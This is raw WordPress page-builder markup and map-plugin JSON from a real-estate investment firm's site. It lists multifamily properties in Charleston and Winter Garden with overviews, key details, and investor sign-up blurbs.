admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>350-unit, Bluewater at Bolton's Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$28,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"post_link\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"%_wpgmp_location_city%\":\"Charleston\",\"%_wpgmp_location_state%\":\"South Carolina\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"32.8032885\",\"%_wpgmp_metabox_longitude%\":\"-80.1013495\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10667\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"9256\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633524799:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10667,\"infowindow_disable\":false}],\"styles\":\"[{\"featureType\":\"administrative\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"color\":\"#a2a5bc\"}]},{\"featureType\":\"administrative\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#2d2d2d\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"5.00\"},{\"color\":\"#f6f9fc\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"simplified\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"labels.text\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"landscape.natural.terrain\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"saturation\":\"1\"},{\"lightness\":\"30\"},{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":\"-100\"},{\"lightness\":\"14\"},{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"gamma\":\"1\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"saturation\":\"0\"},{\"lightness\":\"0\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway.controlled_access\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"lightness\":\"60\"},{\"color\":\"#cccfdc\"},{\"saturation\":\"0\"},{\"gamma\":\"1.50\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"}]}]\",\"marker_cluster\":\"\/\",\"map_property\":{\"map_id\":\"7\",\"debug_mode\":false},\"shapes\":{\"drawing_editable\":false},\"filters\":{\"filters_container\":\"[data-container=\"wpgmp-filters-container\"]\"}}).data(\"wpgmp_maps\");});<\/script><\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_11 section-become-an-investor et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_17\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_35  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_53  et_pb_text_align_center et_pb_bg_layout_dark\">nttttnttttntttt<div class=\"et_pb_text_inner\">CPI Capital helps busy professionals to earn passive income through real estate investing so they could have more time freedom to live a more abundant life.<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_button_module_wrapper et_pb_button_2_wrapper et_pb_button_alignment_center et_pb_module \">ntttt<a class=\"et_pb_button et_pb_button_2 dark-bg et_pb_bg_layout_dark\" href=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&#038;__hssc=230844480.25.1633419575663&#038;__hsfp=3601630007\" target=\"_blank\">become an investor<\/a>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><\/p>n\",\"%_et_pb_truncate_post_date%\":\"2021-10-17 02:04:30\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10667\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"9256\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633524799:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10667,\"infowindow_disable\":false}],\"styles\":\"[{\"featureType\":\"administrative\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"color\":\"#a2a5bc\"}]},{\"featureType\":\"administrative\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#2d2d2d\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"5.00\"},{\"color\":\"#f6f9fc\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"simplified\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"labels.text\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"landscape.natural.terrain\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"saturation\":\"1\"},{\"lightness\":\"30\"},{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":\"-100\"},{\"lightness\":\"14\"},{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"gamma\":\"1\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"saturation\":\"0\"},{\"lightness\":\"0\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway.controlled_access\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"lightness\":\"60\"},{\"color\":\"#cccfdc\"},{\"saturation\":\"0\"},{\"gamma\":\"1.50\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"}]}]\",\"marker_cluster\":\"\/\",\"map_property\":{\"map_id\":\"7\",\"debug_mode\":false},\"shapes\":{\"drawing_editable\":false},\"filters\":{\"filters_container\":\"[data-container=\"wpgmp-filters-container\"]\"}}).data(\"wpgmp_maps\");});<\/script><\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_4 section-become-an-investor et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_6\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_13  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_19  et_pb_text_align_center et_pb_bg_layout_dark\">nttttnttttntttt<div class=\"et_pb_text_inner\">CPI Capital helps busy professionals to earn passive income through real estate investing so they could have more time freedom to live a more abundant life.<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_button_module_wrapper et_pb_button_0_wrapper et_pb_button_alignment_center et_pb_module \">ntttt<a class=\"et_pb_button et_pb_button_0 dark-bg et_pb_bg_layout_dark\" href=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&#038;__hssc=230844480.25.1633419575663&#038;__hsfp=3601630007\" target=\"_blank\">become an investor<\/a>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><\/p>n\",\"%_et_pb_truncate_post_date%\":\"2021-10-20 13:49:58\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"11522\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1647147348:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" 